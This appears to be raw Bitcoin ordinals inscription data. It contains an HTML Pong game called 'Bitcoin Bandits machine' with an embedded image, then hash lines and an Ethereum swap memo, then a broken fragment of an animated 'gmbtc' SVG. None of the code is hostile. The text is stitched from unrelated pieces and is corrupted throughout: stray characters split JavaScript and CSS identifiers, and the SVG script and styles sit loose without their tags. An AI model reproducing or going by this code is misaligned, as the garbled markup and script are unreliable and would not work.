<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeeM
d=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.hM
eight);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=M
-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRectM
(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPadd7le.dy=0}});requestAnimationFrame(loop);</script></html>h!
FjDOUT:BE717EA4C887ACF75E630629D91E121A82EC9387D0750E1C5DFFA670E7EDDE13
FjDOUT:0A31FD0EDA232E308C726DA957D61F775D6D9D3870B282604E0903893AECC194
FjDOUT:83CD20972561A0A4B0AE9DD4C4101ADF5831F06C59174477478CF64C0156BC08
FjDOUT:814ABE2EA6F36ACB671EEE0D9192F4E4C718AE1B632E013266597558B3AA74C3
Aj?=:ETH.ETH:0x97B85681e5ec5D4C7F262b88A6530A04fb86d0c0:5813929::0
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intent/tweet?text=${encodeURI('gm from 008 to bM
itcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
      var bd = document.querySelector('.b');
lassList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#8888DE')
      document.querySelector('.m2').setAttribute('fill', '#3F3FAB')
      document.querySelector('.m3').setAttribute('fill', '#3F3FAB')
      document.querySelector('.m4').setAttribute('fill', '#8888DE')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;}
    .bgGN stop:nth-child(1) {stop-color: M
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #8888DE;}
    .m0GN stop:nth-child(2) {stop-color: #5B5AD0;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
    .sngm { animation: sngm 1s linear forwards; }
ngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.M
3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.02 5c-2.7 0-4.767-.767-6.2-2.3-1.434-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.8M
5-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.019 5c-2.767 0-4.9-.733-6.4-2.2-1.467-1.5-2.2-3.65-2.2-6.45v-3.1c0-1.733.283-3.183.85-4.35.567-1.2 1.483-2.133 2.75-2.8v-.1c-1.167-.633-2.034-1.5-2.6-2.6-.534-1.133-.8-2.567-.8-4.3v-1.45c0-2.8.716-4.933 2.15-6.4 1.466-1.5 3.55-2.25 6.25-2.25s4.767.75 6.2 2.25c1.466 1.467 2.2 3.6 2.2 6.4v1.45c0 3.333-1.133 5.633-3.4 6.9v.1c1.267.667 2.183 1.6 2.75 2.8.567 1.167.85 2.617.85 4.35v3.1c0 2.8-.75 4.95-2.25 6.45-1.467 1.467-3.584 2.2-6.35 2.2Zm0-21.25c1.933M
 0 2.9-1.167 2.9-3.5V548c0-2.333-.967-3.5-2.9-3.5-1.933 0-2.9 1.167-2.9 3.5v2.75c0 2.333.966 3.5 2.9 3.5Zm0 16.25c2.067 0 3.1-1.317 3.1-3.95v-3.35c0-2.633-1.034-3.95-3.1-3.95-2.067 0-3.1 1.317-3.1 3.95v3.35c0 2.633 1.033 3.95 3.1 3.95Zm24.27-30.5h4.749l-13.8 35h-4.75l13.8-35Z" class="008/"/>
    <path fill="#000" d="M110.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.3M
33-2.294-1.333-4.03v-11.408c0-1.736.444-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.955.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.88M
9.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.888.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <g class="gmbtcio">
      <path fill="#000" d="M107.915 578.15c-.76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .6M
9-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.215-.57.29-1.23.435-1.98.435Zm-.075-3.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.83.3-.54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.07.115 1.5.345.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.125 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.M
17-.65-.255-1.05-.255s-.755.085-1.065.255c-.3.17-.535.41-.705.72-.17.3-.255.655-.255 1.065 0 .4.085.755.255 1.065.17.31.405.55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.3 0-.57.06-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1M
.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.525c-.14.22-.21.49-.21.81l-.93-.36c.05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.005.93.25.4.375.88.375 1.44V575h-1.65Z"/>
      <path fill="#FF7F7C" d="M130.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.M
335-.465 1.905-.3.56-.715 1.005-1.245 1.335-.52.33-1.105.495-1.755.495Zm-.27-1.56c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-.765a1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.18-.55.435-.72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.5M
7-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.495-1.905c0-.71.165-1.345.495-1.905.33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095a1.913 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0-.775.095-1.095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-M
.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.795.21-.21.475-.315.795-.315.32 0 .58.105.78.315.21.21.315.475.315.795 0 .31-.105.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65Zm.825-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705c0-.28.09-.515.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.M
005 1.365-1.335.57-.34 1.205-.51 1.905-.51.71 0 1.35.165 1.92.495.57.33 1.02.78 1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1.59c.41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-.705.27-1.125 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.19-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <circle cx="300" cy="300" r=M
"244" fill="#D9D9D9" stroke="#fff" stroke-width="20" class="ol"/>
